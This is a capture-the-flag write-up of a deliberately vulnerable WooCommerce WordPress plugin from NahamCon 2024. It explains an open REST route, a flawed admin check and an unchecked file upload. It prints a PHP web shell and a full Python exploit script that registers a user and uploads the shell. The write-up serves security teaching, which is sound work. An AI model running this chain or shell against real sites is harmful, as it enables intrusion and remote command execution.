NahamCon CTF 2024: My Shop Disaster

Solution for the WooCommerce WordPress plugin challenge that PatchStack submitted to the NahamCon 2024 CTF.

Summary

This challenge was 1 of 3 challenges that PatchStack submitted to the NahamCon 2024 CTF. These 3 challenges were a good demonstration of some of the common mistakes WordPress plugin developers make when writing code.

Challenge

The challenge is a custom WordPress WooCommerce plugin, and the source code is available to download along with a Dockerfile to get it up and running on your own machine should you wish.

As this is a whitebox challenge, let's dive in and look at the code:

No Priv Functions

Quickly looking over the plugin's code we see can see there are a couple of nopriv functions defined. Functions defined like this in WordPress can be accessed publicly by sending a request to /wp-admin/admin-ajax.php with the specific action.

add_action( 'wp_ajax_nopriv_associate_product_variation', array( $this, 'associate_product_variation' ) );

// ...

add_action( 'wp_ajax_nopriv_set_gallery_picture', array( $this, 'set_gallery_picture' ) );

For example, the first one here can be called like: /wp-admin/min-ajax.php?action=set_gallery_picture. When this request is sent WordPress will execute the defined function, e.g. set_gallery_picture.

However, these two unauthenticated functions, actually have a custom auth check written in. This looks interesting (suspicious), so we'll come back to this function later, but for our purposes it stops unauthenticated users from calling them at all...

public function associate_product_variation() {

	if ( !is_admin() || !$this->check_permission() )
	{
		wp_send_json( 'Unauthorized!' );
	}

Public Rest Routes

So another way WordPress plugins commonly expose actions is via the JSON REST API. If we search for register_rest_route we see a couple of functions defined and there is no authentication required on these, as there is no permission_callback defined.

function register_customer_registration_enable() {
    register_rest_route( 'woo-variations/v1', '/registration-enable/', array(
        'methods'  => 'GET',
        'callback' => array($this, 'registration_enable'),
        'args'     => array(
            'data' => array(
            'required' => false,
            'default'  => array(),
            )
        )
     ));
}

Where the function it calls is defined:

function registration_enable( $data ) {
	update_option( 'users_can_register', 1 );
	wp_send_json('Customer registration enabled');
}

This allows us as an to enable registrations without authentication. We can create a simple Python function that can automate this for us:

def enable_registration():
    r = session.get(f'{TARGET}/wp-json/woo-variations/v1/registration-enable/')
    data = r.json()
    print(r.text)
    return r.ok and 'Customer registration enabled' in r.text

Then we can create a new user with the default user role, typically a subscriber level user. Again here's the Python to do this:

def do_register(username):
    session.get(f'{TARGET}/wp-login.php?action=register')
    data = {
        'user_login1': username,
        'user_email1': f'{username}@test.com',
        'user_password1': username,
        'wp-submit1': 'Register',
        'testcookie': 1
    }
    r = session.post(f'{TARGET}/wp-login.php?action=register', data=data, allow_redirects=False)

    if r.status_code == 200:
        print(f"[+] Register Successful")
        return True

    print(r.text)
    print(f"[-] Register Failed")

WordPress Registration typically sends an email instead of letting you set a password directly, however in the CTF this is disabled and you are able to enter a password on registration.

⚠️
Note: the provided Dockerfile does not appear to enable registration passwords, meaning this functionaility will fail when testing against the Docker version. However, if you still want to test you can login with the admin credentials from .env (admin/REDACTED) and create the new user in the WordPress admin panel.

Flawed Permissions Check

Now we have created a new subscriber level user, lets jump back to look at that suspicious authentication check:

if ( !is_admin() || !$this->check_permission() )

In WordPress security the is_admin function is pretty infamous... it doesn't do what any sane developer would expect. Instead of checking if the current user is an admin, it checks to see if the request came from an admin page. As our request is coming from /wp-admin/admin-ajax.php we automatically pass this check, suck it.

The second function check_permission is the following:

function check_permission() {
    
    if ( !current_user_can( "manage_options" ) && strpos( wp_get_current_user()->user_login, 'admin' ) === false )
    {
        return false;
    }
    
    return true;
}

This function grants permission (returns true) if:

  1. The user has the manage_options permission, which is typically only the admin user.
    – or –
  2. If the user's username contains the string admin. This seems a little unrealistic, however, I have seen similar and even worse things in production code.

So now we can create a new user with a username such as not_admin and it will now be granted access to anything that is protected by this check_permission function.

Arbitrary File Upload

We now have access to a couple of interesting looking functions, the most obvious attack vector is the set_gallery_picture function that allows us to upload a file for a particular product id:

public function set_gallery_picture() {

    if ( !is_admin() || !$this->check_permission() )
    {
        wp_send_json( 'Unauthorized!' );
    }
    
    $product_id = isset( $_POST['product_id'] ) ? intval( $_POST['product_id'] ) : 0;

    // Verify that the product exists and is a WooCommerce product
    if ( $product_id && function_exists( 'wc_get_product' ) ) {

        if ( $_FILES && isset( $_FILES['gallery_picture'] ) ) {
            
            $file = $_FILES['gallery_picture'];
            $file_type = wp_check_filetype( basename( $file['name'] ), array( 'jpg', 'jpeg', 'png' ) );
            
            $upload_dir = wp_upload_dir();
            $upload_path = $upload_dir['basedir'] . '/woo-gallery/';
            if ( !file_exists( $upload_path ) ) {
                wp_mkdir_p( $upload_path );
            }

            if (move_uploaded_file( $file['tmp_name'], $upload_path . sanitize_file_name($file['name']) ) ) {
                
                $file_url = $upload_dir['baseurl'] . '/woo-gallery/' . sanitize_file_name($file['name']);

                if (function_exists( 'wc_gallery_set_attachment_from_url' ) )
                {
                    $attachment_id = wc_gallery_set_attachment_from_url( $file_url, $product_id);
                    if ( $attachment_id) {
                        echo json_encode(array( 'success' => true, 'message' => 'Gallery picture uploaded successfully.' ) );
                    } else {
                        echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to product gallery.' ) );
                    }
                }
                else {
                    echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to Woocommerce product.' ) );
                }
                
            } else {
                echo json_encode(array( 'success' => false, 'message' => 'Error uploading file.' ) );
            }
        } else {
            echo json_encode(array( 'success' => false, 'message' => 'No file uploaded.' ) );
        }
    } else {
        echo json_encode(array( 'success' => false, 'message' => 'Invalid product ID.' ) );
    }
}

Here we see the use of PHP's move_uploaded_file rather than one of WordPress's custom file upload handling functions. WordPress's upload functions have several protections over PHP defaults, so this immediately flags we may have something interesting to exploit.

From a quick glance you'd be forgiven for thinking it's a dead end given that the file type is checked with the following:

$file_type = wp_check_filetype( basename( $file['name'] ), array( 'jpg', 'jpeg', 'png' ) );

However, $file_type is completely, ignored, so we can upload arbitrary files without issue.

So we can create a basic PHP shell.php file:

<?php 

if (isset($_REQUEST['cmd'])) {
    echo system($_REQUEST['cmd']);
}
else{
    echo "no command...";
}

and craft a simple Python function to upload it:

def upload_shell(product_id):
    files = {'gallery_picture': open('shell.php', 'rb')}
    data = {
        'action': 'set_gallery_picture',
        'product_id': product_id
    }

    r = session.post(f'{TARGET}/wp-admin/admin-ajax.php', data=data, files=files)

    print(r.text)
    return r.ok and '"Error adding attachment to Woocommerce product.' in r.text

Final Exploit Script

Putting it all together we get the final exploit script that enables user sign up, creates a new subscriber level user, then logs in as that user and then uploads a basic PHP shell:

import re
import sys
from os.path import basename
import uuid
import requests

"""
Author: Mat Rollings (stealthcopter)
Website: sec.stealthcopter.com
"""

TARGET = 'http://wordpress.local:1337'  # No trailing slash
# TARGET = 'http://challenge.nahamcon.com:31261'  # No trailing slash

session = requests.session()

# Proxy can be uncommented here for debugging:
# session.proxies = {'http': 'http://localhost:8080'}

def do_register(username):
    session.get(f'{TARGET}/wp-login.php?action=register')
    data = {
        'user_login1': username,
        'user_email1': f'{username}@test.com',
        'user_password1': username,
        'wp-submit1': 'Register',
        'testcookie': 1
    }
    r = session.post(f'{TARGET}/wp-login.php?action=register', data=data, allow_redirects=False)

    if r.status_code == 200:
        print(f"[+] Register Successful")
        return True

    print(r.text)
    print(f"[-] Register Failed")

def do_login(username, password):
    session.get(f'{TARGET}/wp-login.php')
    data = {
        'log': username,
        'pwd': password,
        'wp-submit': 'Log In',
        'testcookie': 1
    }
    r = session.post(f'{TARGET}/wp-login.php', data=data, allow_redirects=False)

    if r.status_code == 302:
        print(f"[+] Login Successful")
        return True

    print(r.text)
    print(f"[-] Login Failed")


def enable_registration():
    r = session.get(f'{TARGET}/wp-json/woo-variations/v1/registration-enable/')
    data = r.json()
    print(r.text)
    return r.ok and 'Customer registration enabled' in r.text


def upload_shell(product_id):
    files = {'gallery_picture': open('shell.php', 'rb')}
    data = {
        'action': 'set_gallery_picture',
        'product_id': product_id
    }

    r = session.post(f'{TARGET}/wp-admin/admin-ajax.php', data=data, files=files)

    print(r.text)
    return r.ok and '"Error adding attachment to Woocommerce product.' in r.text


def exploit():
    enable_registration()

    username = 'admin_bcbedec9-6dd2-4aae-a399-faccbd431397'
    password = username
    print(f'[+] Username: {username}')
    print(f'[+] Password: {password}')

    if not do_register(username):
        return False

    if not do_login(username, password):
        return False

    product_id = 1

    if upload_shell(product_id):
        print(f'[+] Shell uploaded to {TARGET}/wp-content/uploads/woo-gallery/shell.php')
    else:
        print('[!] Error probably didnt upload shell!')


exploit()

Then we can run this script and our web shell will be uploaded:

❯ python3 shop_disaster.py
"Customer registration enabled"
[+] Login Successful
{"success":false,"message":"Error adding attachment to Woocommerce product."}0
[+] Shell uploaded to http://wordpress.local:1337/wp-content/uploads/woo-gallery/shell.php

We get an error that the attachment cannot be added, but we've already won at this point as the PHP file has been moved into the uploads folder.

Command execution from our freshly uploaded PHP shell

We can now use this to exfiltrate the flag by running cat /flag.txt 🥳